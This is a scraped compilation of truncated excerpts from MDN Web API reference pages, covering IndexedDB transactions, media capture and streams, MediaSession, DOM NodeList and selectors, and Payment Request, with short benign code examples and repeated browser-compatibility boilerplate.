nsactionsync interface of the indexeddb api provides a synchronous transaction on a database. when an application creates an idbtransactionsync object, it blocks until the browser is able to reserve the require database objects. method overview void abort() raises (idbdatabaseexception); void commit() raises (idbdatabaseexception); idbobjectstoresync objectstore(in domstring name) raises (idbdatabaseexception); attributes attribute type description db idbdatabasesync the database connection that this transaction is associated with. static boolean if true, this transaction is static; if false, this transaction is dynamic. methods abort() call this method to signal a need to cancel the effects of th...
...abaseexception with the following codes: non_transient_err if this transaction has already been committed or aborted. recoverable_err if this transaction's scope is dynamic, and the browser cannot commit all of the changes due to another transaction. objectstore() returns an object store that has already been added to the scope of this transaction. idbobjectstoresync objectstore( in domstring name ) raises (idbdatabaseexception); parameters name the name of the requested object store. returns idbobjectstoresync an object for accessing the requested object store. exceptions the method can raise an idbdatabaseexception with the following code: not_found_err if the requested object store is not in this transaction's scope. ...
IDBVersionChangeEvent.oldVersion - Web APIs
. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBVersionChangeEvent.version - Web APIs
sion; value a 64-bit integer. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new...
ImageCapture.takePhoto() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...pport 59 — 60notes notes photosettings argument not supported.firefox android ? opera android full support 44 full support 44 no support 43 — 44notes notes photosettings argument not supported.safari ios ? ...
InputEvent.dataTransfer - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
InputEvent.getTargetRanges() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
KeyboardEvent.getModifierState() - Web APIs
all modifiers (except "fnlock", "hyper", "super" and "symbol" which are defined after gecko implements this) are always supported for untrusted events on gecko. this doesn't depend on the platform. "accel" virtual modifier note: the "accel" virtual modifier has been effectively deprecated in current drafts of the dom3 events specification. getm...
...t.ctrlkey or keyboardevent.metakey is true. in old implementations and outdated specifications, it returned true when a modifier which is the typical modifier key for the shortcut key is pressed. for example, on windows, pressing ctrl key may make it return true. however, on mac, pressing ⌘ command key may make it return true. note that which modifier key makes it return true depends on platforms, browsers, and user settings. for example, firefox users can customize this with a pref, "ui.key.accelkey". example // ignore if following modifier is active. if (event.getmodifierstate("fn") || event.getmodifierstate("hyper") || event.getmodifierstate("os") || event.getmodifierstate("super") || event.getmodifierstate("win") /* hack for ie */) { return; } // also ignore if tw...
LocalMediaStream - Web APIs
however, getusermedia() now returns a mediastream instead, and this interface has been removed from the specification. warning: this interface is no longer available in any mainstream browser. do not use localmediastream; you need to update any code that does use it as soon as possible or your content or application will stop working. see stopping a video stream in mediastreamtrack to learn how. all other functionality is found in mediastream. ...
... ...
Location: search - Web APIs
Web › API › Location › search
the search property of the location interface is a search string, also called a query string; that is, a usvstring containing a '?' followed by the parameters of the url. modern browsers provide urlsearchparams and url.searchparams to make it easy to parse out the parameters from the querystring. ...
....searchparams to make it easy to parse out the parameters from the querystring. syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'search' in that specification. living standard initial definition. ...
Location - Web APIs
Web › API › Location
location.href is a stringifier that returns a usvstring containing the entire url. if changed, the associated document navigates to the new page. it can be set from a different origin than the associated document. location.protocol is a usvstring cont...
...nd the port of the url. location.hostname is a usvstring containing the domain of the url. location.port is a usvstring containing the port number of the url. location.pathname is a usvstring containing an initial '/' followed by the path of the url. location.search is a usvstring containing a '?' followed by the parameters or "querystring" of the url. modern browsers provide urlsearchparams and url.searchparams to make it easy to parse out the parameters from the querystring. location.hash is a usvstring containing a '#' followed by the fragment identifier of the url. location.origin read only returns a usvstring containing the canonical form of the origin of the specific location. methods location.assign() loads the resource at the url provided in parameter. location.re...
MediaDevices.enumerateDevices() - Web APIs
vice.kind + ": " + device.label + " id = " + device.deviceid); }); }) .catch(function(err) { console.log(err.name + ": " + err.message); }); this might produce: videoinput: id = cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: id = rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: id = r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= or if one or more mediastreams are active or persistent permissions are granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: default (built-in microphone) id=rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: built-in microphone id=r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= specifications specification status comment media capture and...
... candidate recommendation initial definition. ...
MediaDevices.getUserMedia() - Web APIs
y there are a number of ways security management and controls in a user agent can cause getusermedia() to return a security-related error. note: the security model for getusermedia() is still somewhat in flux. the originally-designed security mechanism is in the process of being replaced with feature policy, so various browsers have different levels of security support, using different mechanisms. you should test your code carefully on a variety of devices and browsers to be sure it is as broadly compatible as possible feature policy the feature policy security management feature of http is in the process of being introduced into browsers, with support available to some extent in many browsers (though not always enabled by default, as in firefox). getusermedia() is one method which wil...
...rictions. var constraints = { video: { framerate: { ideal: 10, max: 15 } } }; front and back camera on mobile phones. var front = false; document.getelementbyid('flip-button').onclick = function() { front = !front; }; var constraints = { video: { facingmode: (front? "user" : "environment") } }; specifications specification status comment media capture and streamsthe definition of 'mediadevices.getusermedia()' in that specification. candidate recommendation initial definition ...
MediaError - Web APIs
properties this interface doesn't inherit any properties. ...
..., despite having previously been available. media_err_decode 3 despite having previously been determined to be usable, an error occurred while trying to decode the media resource, resulting in an error. media_err_src_not_supported 4 the associated resource or media provider object (such as a mediastream) has been found to be unsuitable. mediaerror.message a domstring object containing a human-readable string which provides specific diagnostic information to help the reader understand the error condition which occurred; specifically, it isn't simply a summary of what the error code means, but actual diagnostic information to help in understanding what exactly went wrong. this text and its format is not defined by the specification and will vary from one u...
MediaKeyStatusMap.entries() - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
MediaKeyStatusMap.forEach() - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
MediaKeyStatusMap.get() - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
MediaKeyStatusMap.has() - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
MediaKeyStatusMap.keys() - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
MediaKeyStatusMap.size - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
MediaKeyStatusMap.values() - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
MediaList - Web APIs
Web › API › MediaList
the medialist interface represents the media queries of a stylesheet, e.g. those set using a <link> element's media attribute. note: medialist is a live list; updating the list using properties or methods listed below will immediately update the behavior of the document. properties medialist.mediatext a stringifier that returns a domstring representing the medialist as text, and also allows you to set a new medialist. ...
... examples the following would log to the console a textual representation of the medialist of the first stylesheet applied to the current document. ...
MediaMetadata.album - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yessafari ? webview android no support nochrome android full support 57firefox android ? opera android no support nosafari ios ? ...
MediaMetadata.artist - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yessafari ? webview android no support nochrome android full support 57firefox android ? opera android no support nosafari ios ? ...
MediaMetadata.artwork - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yessafari ? webview android no support nochrome android full support 57firefox android ? opera android no support nosafari ios ? ...
MediaMetadata.title - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yessafari ? webview android no support nochrome android full support 57firefox android ? opera android no support nosafari ios ? ...
MediaRecorder.audioBitsPerSecond - Web APIs
ft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support nowebview android full support 49chrome android full support 49firefox android ? ...
MediaRecorder.ignoreMutedMedia - Web APIs
ia = boolean value a boolean. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use i...
MediaSession.setActionHandler() - Web APIs
the setactionhandler() property of the mediasession interface sets an event handler for a media session action. these actions let a web app receive notifications when the user engages a device's built-in physical or onscreen media controls, such as play, stop, or seek buttons. syntax navigator.mediasession.setactionhandler(type, callback) parameters type a domstring representing an action type to listen for. it will be one of play, pause, seekbackward, seekforward, seekto, skipad,previoustrack, or nexttrack. further details on the action types can be found below under media session actions. callback a function to call when the specified action type is invoked. the callback receives no input parameters, and should not return a value. return value undefined. description to remov...
...the media from the current position. seekforward seeks forward from the current position through the media. seekto moves the playback position to the specified time within the media. skipad skips past the currently playing advertisement or commercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances. stop halts playback entirely. examples adding action handlers this example implements seek forward and backward actions for an audio player by setting up the seekforward and seekbackward action handlers. let skiptime = 10; // time to skip in seconds navigator.mediasession.setactionhandler('seekforward', evt => { // user clicked "seek forward" media notification icon. audio.curren...
MediaSessionActionDetails.action - Web APIs
the action property is the only required property mediasessionactiondetails dictionary, specifying the type of media session action which the action handler callback is being executed for. syntax let mediasessionactiondetails = { action: actiontype }; let actiontype = mediasessionactiondetails.action; value a domstring specifying which of the action types the callback is being invoked for: nexttrack advances playback to the next track. pause pauses playback of the media. play begins (or resumes) playback of the media. previoustrack moves back to the previous track. seekbackward seeks backward through the media from the current position. seekforward seeks forward from the current position through the media. seekto moves the playback position to the specified time within t...
...the media from the current position. seekforward seeks forward from the current position through the media. seekto moves the playback position to the specified time within the media. skipad skips past the currently playing advertisement or commercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances. stop halts playback entirely. specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.action' in that specification. draft initial definition. ...
MediaSource.endOfStream() - Web APIs
for example, you might have a function that handles media chunk requests, separate from other network requests. ...
...for example, you might have a function that handles media chunk requests, separate from other network requests. ...
MediaStream.getAudioTracks() - Web APIs
s are those tracks whose kind property is audio. the array is empty if the stream contains no audio tracks. note: the order of the returned tracks is not defined by the specification and may, in fact, change from one call to getaudiotracks() to the next. early versions of this api included a special audiostreamtrack interface which was used as the type for each entry in the list of audio streams; however, this has since been merged into the main mediastreamtrack interface. example this example gets a webcam's audio and video in a stream using getusermedia(), attaches the stream to a <video> element, then sets a timer that, upon expiring, will stop the first audio track found on the stream. navigator.mediadevices.getusermedia({audio: true, video: true}) .then(mediastream => { documen...
...stream. navigator.mediadevices.getusermedia({audio: true, video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; // stop the audio stream after 5 seconds settimeout(() => { const tracks = mediastream.getaudiotracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'getaudiotracks()' in that specification. candidate recommendation initial definition. ...
MediaStream.getTrackById() - Web APIs
return value if a track is found for which mediastreamtrack.id matches the specified id string, that mediastreamtrack object is returned. otherwise, the returned value is null. ...
... is null. example this example activates a commentary track on a video by ducking the audio level of the main audio track to 50%, then enabling the commentary track. stream.gettrackbyid("primary-audio-track").applyconstraints({ volume: 0.5 }); stream.gettrackbyid("commentary-track").enabled = true; specifications specification status comment media capture and streamsthe definition of 'gettrackbyid()' in that specification. candidate recommendation initial specification. ...
MediaStream.getVideoTracks() - Web APIs
ideo tracks are those tracks whose kind property is video. the array is empty if the stream contains no video tracks. note: the order of the tracks is not defined by the specification, and may not be the same from one call to getvideotracks() to another. early versions of this api included a special videostreamtrack interface which was used as the type for each entry in the list of video streams; however, this has since been merged into the main mediastreamtrack interface. example the following example, extracted from chrome's image capture / photo resolution sample, uses getvideotracks() to retrieve a track for passing to the imagecapture() constructor. var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srco...
...nstructor. var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) specifications specification status comment media capture and streamsthe definition of 'getvideotracks()' in that specification. candidate recommendation initial definition. ...
MediaStream - Web APIs
rue if the mediastream is active, or false otherwise. mediastream.ended read only a boolean value set to true if the end of the stream has been reached. this has been removed from the specification; you should instead check the value of mediastreamtrack.readystate to see if its value is ended for the track or tracks you want to ensure have finished playing. mediastream.id read only a domstring containing 36 characters denoting a universally unique identifier (uuid) for the object. event handlers mediastream.onaddtrack an eventhandler containing the action to perform when an addtrack event is fired when a new mediastreamtrack object is added. mediastream.onremovetrack an eventhandler containing the action to perform when a removetrack event is fired when a mediastreamtrack ...
...astreamtrack object is added. also available via the onaddtrack property. removetrack fired when a mediastreamtrack object has been removed. also available via the onremovetrack property. active fired when the mediastream is activated. inactive fired when the mediastream is inactivated. specifications specification status comment media capture and streamsthe definition of 'mediastream' in that specification. candidate recommendation ...
MediaStreamTrack.stop() - Web APIs
since multiple tracks may use the same source (for example, if two tabs are using the device's microphone), the source itself isn't necessarily immediately stopped. it is instead disassociated from the track and the track object is stopped. ...
...then the stream's track list is obtained by calling its gettracks() method. from there, all that remains to do is to iterate over the track list using foreach() and calling each track's stop() method. finally, srcobject is set to null to sever the link to the mediastream object so it can be released. specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.stop()' in that specification. candidate recommendation initial specification. ...
MediaStreamTrackEvent() - Web APIs
the mediastreamtrackevent() constructor returns a newly created mediastreamtrackevent object, which represents an event announcing that a mediastreamtrack has been added to or removed from a mediastream. syntax var trackevent = new mediastreamtrackevent(type, {track: amediastreamtrack}); parameters the mediastreamtrackevent() constructor also inherits arguments from event(). type a domstring representing the name of the type of the mediastreamtrackevent. it is case-sensitive and can be "addtrack" or "removetrack". track a mediastreamtrack object representing the track which was added to or removed from the stream. return value a new mediastreamtrackevent, initialized based on the provided options. specifications specification status comment media capt...
...ng the name of the type of the mediastreamtrackevent. it is case-sensitive and can be "addtrack" or "removetrack". track a mediastreamtrack object representing the track which was added to or removed from the stream. return value a new mediastreamtrackevent, initialized based on the provided options. specifications specification status comment media capture and streamsthe definition of 'mediastreamtrackevent()' in that specification. candidate recommendation ...
Using the MediaStream Recording API - Web APIs
a sample application: web dictaphone to demonstrate basic usage of the mediarecorder api, we have built a web-based dictaphone. it allows you to record snippets of audio and then play them back. it even gives you a visualization of your device's sound input, using the web audio api. ...
... a sample application: web dictaphone to demonstrate basic usage of the mediarecorder api, we have built a web-based dictaphone. it allows you to record snippets of audio and then play them back. it even gives you a visualization of your device's sound input, using the web audio api. ...
MediaTrackConstraints.cursor - Web APIs
the mediatrackconstraints dictionary's cursor property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the cursor constrainable property, which is used to specify whether or not the cursor should be included in the captured video. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.cursor as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. ...
...er or not this constraint is supported by checking the value of mediatracksupportedconstraints.cursor as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { cursor: constraint }; constraintsobject.cursor = constraint; value a constraindomstring which specifies whether or not the mouse cursor should be rendered into the video track in the mediastream returned by the call to getdisplaymedia(). see how constraints are defined in capabilities, constraints, and settings for an explanation of how to define constraints. usage notes you can check the setting selected by the user agent after the display media has been created by getdispla...
MediaTrackConstraints.displaySurface - Web APIs
this is used to specify the type or types of display surfaces which getdisplaymedia() will let the user select among for sharing purposes. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.displaysurface as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. ...
...t is supported by checking the value of mediatracksupportedconstraints.displaysurface as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { displaysurface: constraint }; constraintsobject.displaysurface = constraint; value a constraindomstring which specifies the type of display surface that's being captured. this value does not affect the list of display sources in the browser's user interface. see how constraints are defined in capabilities, constraints, and settings for an explanation of how to define constraints. usage notes you can check the setting selected by the user agent after the display media has been created by get...
MediaTrackConstraints.groupId - Web APIs
the mediatrackconstraints dictionary's groupid property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the groupid constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. syntax var constraintsobject = { groupid: constraint }; constraintsobject.groupid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) group ids which are acceptable as the source of media content. group ids are un...
... candidate recommendation initial specification. ...
Metadata.modificationTime - Web APIs
al w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expect poor cross-browser support.non-st...
Metadata.size - Web APIs
Web › API › Metadata › size
al w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expect poor cross-browser support.non-st...
MouseEvent() - Web APIs
mouseeventinit optional is a mouseeventinit dictionary, having the following fields: "screenx", optional and defaulting to 0, of type long, that is the horizontal position of the mouse event on the user's screen; setting this value doesn't move the mouse pointer. "screeny", optional and defaulting to 0, of type long, that is the vertical position of the mouse event on the user's screen; setting this value doesn't move the mouse pointer. ...
...econdary button pressed (usually the right button) 4 auxiliary button pressed (usually the middle button) "relatedtarget", optional and defaulting to null, of type eventtarget, that is the element just left (in case of a mouseenter or mouseover) or is entering (in case of a mouseout or mouseleave). "region", optional and defaulting to null, of type domstring, is the id of the hit region affected by the event. the absence of any hit region is affected, is represented by the null value. in some implementations, passing anything other than a number for the screen and client fields will throw a typeerror. the mouseeventinit dictionary also accepts fields from uieventinit and from eventinit dictionaries. specifications specifi...
MutationObserverInit.attributeFilter - Web APIs
butes whose values are to be monitored for changes. if this property is specified, there's no need to also set attributes to true, as it's implied. if the attributes permission is true but no attributefilter is included in the options object, all attributes' values are watched for changes. syntax var options = { attributefilter: [ "list", "of", "attribute", "names" ] } value an array of domstring objects, each specifying the name of one attribute whose value is to be monitored for changes. there is no default value. if this property exists on the options object when the mutationobserver() constructor is used to create a new mutationobserver, attribute monitoring is enabled regardless of whether or not the attributes property is true. example in this example, a mutation observer is...
...erlistelement = document.queryselector("#userlist"); var observer = new mutationobserver(callback); observer.observe(userlistelement, { attributefilter: [ "status", "username" ], attributeoldvalue: true, subtree: true }); the callback() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects. for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), we use the attribute's name, obtained using mutationrecord.attributename, to identify the type of change that occurred and then dispatch to the appropriate handler function. note the use of mutationrecord.oldvalue to get the previous value of the "username" property so we have that in...
Node.localName - Web APIs
Web › API › Node › localName
for nodes of any type other than element_node and attribute_node lo...
...efix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partners> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms). in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html doms and xhtml elements in xml doms. the tagname property continues to return in the upper case for html elements in html doms. for nodes of any type other than element_node and attribute_node localname is always null. specifications ...
Node.nodeName - Web APIs
Web › API › Node › nodeName
the nodename read-only property returns the name of the current node as a string. syntax var str = node.nodename; value a domstring. values for the different types of nodes are: interface nodename value attr the value of attr.name cdatasection "#cdata-section" comment "#comment" document "#document" documentfragment "#document-fragment" documenttype the value of documenttype.name element the value of element.tagname entity the entity name entityreference the name of entity reference notation the notation name processinginstruction the value of processinginstruction.target text "#text" example given the following markup: <d...
...hello world</div> <input type="text" id="t"> and the following script: var div1 = document.getelementbyid("d1"); var text_field = document.getelementbyid("t"); text_field.value = div1.nodename; in xhtml (or any other xml format), text_field's value would read "div". however, in html, text_field's value would read "div", because nodename and tagname return in upper case on html elements in doms flagged as html documents. read more details on nodename case sensitivity in different browsers. note that the element.tagname property could have been used instead, since nodename has the same value as tagname for an element. bear in mind, however, that nodename will return "#text" for text nodes while tagname will return undefined. specifications specification status comment ...
NodeList.prototype.forEach() - Web APIs
Web › API › NodeList › forEach
on iterable declarations browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 10webview android full support 51chrome android full support 51firefox android full support 50opera android full support 41safari ios full support 10samsung internet android full support 5.0legend full support full support no support no support ...
NodeList.length - Web APIs
Web › API › NodeList › length
the nodelist.length property returns the number of items in a nodelist. syntax numitems = nodelist.length numitems is an integer value representing the number of items in a nodelist. example the length property is often useful in dom programming. it's often used to test the length of a list, to see if it exists at all. it's also commonly used as the iterator in a for loop, as in this example. ...
...items in a nodelist. syntax numitems = nodelist.length numitems is an integer value representing the number of items in a nodelist. example the length property is often useful in dom programming. it's often used to test the length of a list, to see if it exists at all. it's also commonly used as the iterator in a for loop, as in this example. // all the paragraphs in the document var items = document.getelementsbytagname("p"); // for each item in the list, // append the entire element as a string of html var gross = ""; for (var i = 0; i < items.length; i++) { gross += items[i].innerhtml; } // gross is now all the html for the paragraphs specifications specification status comment domthe definition of 'nodelist: length' in that specification. l...
NodeList - Web APIs
Web › API › NodeList
parent.appendchild(document.createelement('div')); console.log(child_nodes.length); // outputs "3" static nodelists in other cases, the nodelist is static, where any changes in the dom does not affect the content of the collection. the ubiquitous document.queryselectorall() method returns a static nodelist. it's good to keep this distinction in mind when you choose how to iterate over the items in the nodelist, and whether you should cache the list's length. properties nodelist.length the number of nodes in the nodelist. methods nodelist.item() returns an item in the list by its index, or null if the index is out-of-bounds. an alternative to accessing nodelist[i] (which instead returns undefined when i is out-of-bounds). this is mostly useful for non-javascript dom implemen...
... an argument to the function. nodelist.keys() returns an iterator, allowing code to go through all the keys of the key/value pairs contained in the collection. (in this case, the keys are numbers starting from 0.) nodelist.values() returns an iterator allowing code to go through all values (nodes) of the key/value pairs contained in the collection. example it's possible to loop over the items in a nodelist using a for loop: for (let i = 0; i < mynodelist.length; i++) { let item = mynodelist[i]; } don't use for...in to enumerate the items in nodelists, since they will also enumerate its length and item properties and cause errors if your script assumes it only has to deal with element objects. also, for..in is not guaranteed to visit the properties in any particular order. for...
NonDocumentTypeChildNode.nextElementSibling - Web APIs
e and use it on element. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 6webview android full support yeschrome android full support 18firefox android full support 26opera android full support 14safari ios full support yessamsung internet android full support 1.0legend full support full support no support no support ...
OscillatorNode.type - Web APIs
the different available values are: sine a sine wave. this is the default value. square a square wave with a duty cycle of 0.5; that is, the signal is "high" for half of each period. sawtooth a sawtooth wave. triangle a triangle wave. custom a custom waveform. ...
...the different available values are: sine a sine wave. this is the default value. square a square wave with a duty cycle of 0.5; that is, the signal is "high" for half of each period. sawtooth a sawtooth wave. triangle a triangle wave. custom a custom waveform. ...
OverconstrainedError - Web APIs
when this event is thrown on a mediastreamtrack, it is muted until either the current constraints can be established or until satisfiable constraints are applied. constructor overconstrainederror.overconstrainederror() creates a new overconstrainederror object. properties overconstrainederror.constraint read only returns the constraint that was supplied in the constructor, meaning the constraint that was not satisfied. overconstrainederror.message read only returns the text supplied in the constructor. ...
...t read only returns the constraint that was supplied in the constructor, meaning the constraint that was not satisfied. overconstrainederror.message read only returns the text supplied in the constructor. overconstrainederror.name read only will always return overconstrainederror. methods none. specifications specification status comment media capture and streamsthe definition of 'overconstrainederror' in that specification. candidate recommendation initial definition. ...
PannerNode.setVelocity() - Web APIs
the velocity relative to the listener is used to control the pitch change needed to conform with the doppler effect due to the relative speed. as the vector controls both the direction of travel and its velocity, the three parameters x, y and z are expressed in meters per second. ...
... parameters x the x value of the panner's velocity vector. y the y value of the panner's velocity vector. z the z value of the panner's velocit...
ParentNode.querySelectorAll() - Web APIs
ed group of selectors which are descendants of the object on which the method was called. if you need only a single result, consider the queryselector() method instead. note: this method is implemented as element.queryselectorall(), document.queryselectorall(), and documentfragment.queryselectorall() syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against. this string must be a valid css selector string; if it's not, a syntaxerror exception is thrown. see locating dom elements using selectors for more information about using selectors to identify elements. multiple selectors may be specified by separating them using commas. note: characters which are not part of standard css syntax must be ...
... id is test. var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the <iframe> elements in the document that contain an attribute named data-src: var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active=1]"); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results. html consider this html, with its three nested ...
PayerErrors - Web APIs
ionary is used by the payment request api to indicate the presence of—and to explain how to correct—validation errors in the payer details. for each field in the payment information that fails validation, the payererrors object contains a string explaining the error. the payer details include the payer's name, phone number, and email address. ...
.... the payer details include the payer's name, phone number, and email address. properties email optional if present, this domstring is a string describing the validation error from which the payer's email address—as given by paymentresponse.payeremail—currently suffers. if this property is absent from the payererrors object, the email address passed validation. name optional if this domstring is present in the object, the paymentresponse.payername property failed validation, and this string explains what needs to be corrected. if this property is absent, the paer name is fine phone optional if present, this string is an error message explaining why the payer's phone number (paymentresponse.payerphone) failed validation. this property is absent if the phone number passed validat...
PaymentAddress.toJSON() - Web APIs
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettojson()chrome full support 61disabled full support 61disabled disabled from version 61: this feature is behind the #web-payments preference (needs to be set to enabled). to change preferences in chrome, visit chrome://flags.edge full support 15firefox...
...ontain one or more of the supported 2-character iso locales, currently us and ca.disabled from version 62: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentDetailsUpdate.error - Web APIs
this happens if both of the following are true: the paymentrequest specifies using its requestshipping property that shipping information is required. the paymentdetailsupdate object specifies no valid shipping options in its shippingoptions list. ...
...this happens if both of the following are true: the paymentrequest specifies using its requestshipping property that shipping information is required. the paymentdetailsupdate object specifies no valid shipping options in its shippingoptions list. ...
PaymentDetailsUpdate - Web APIs
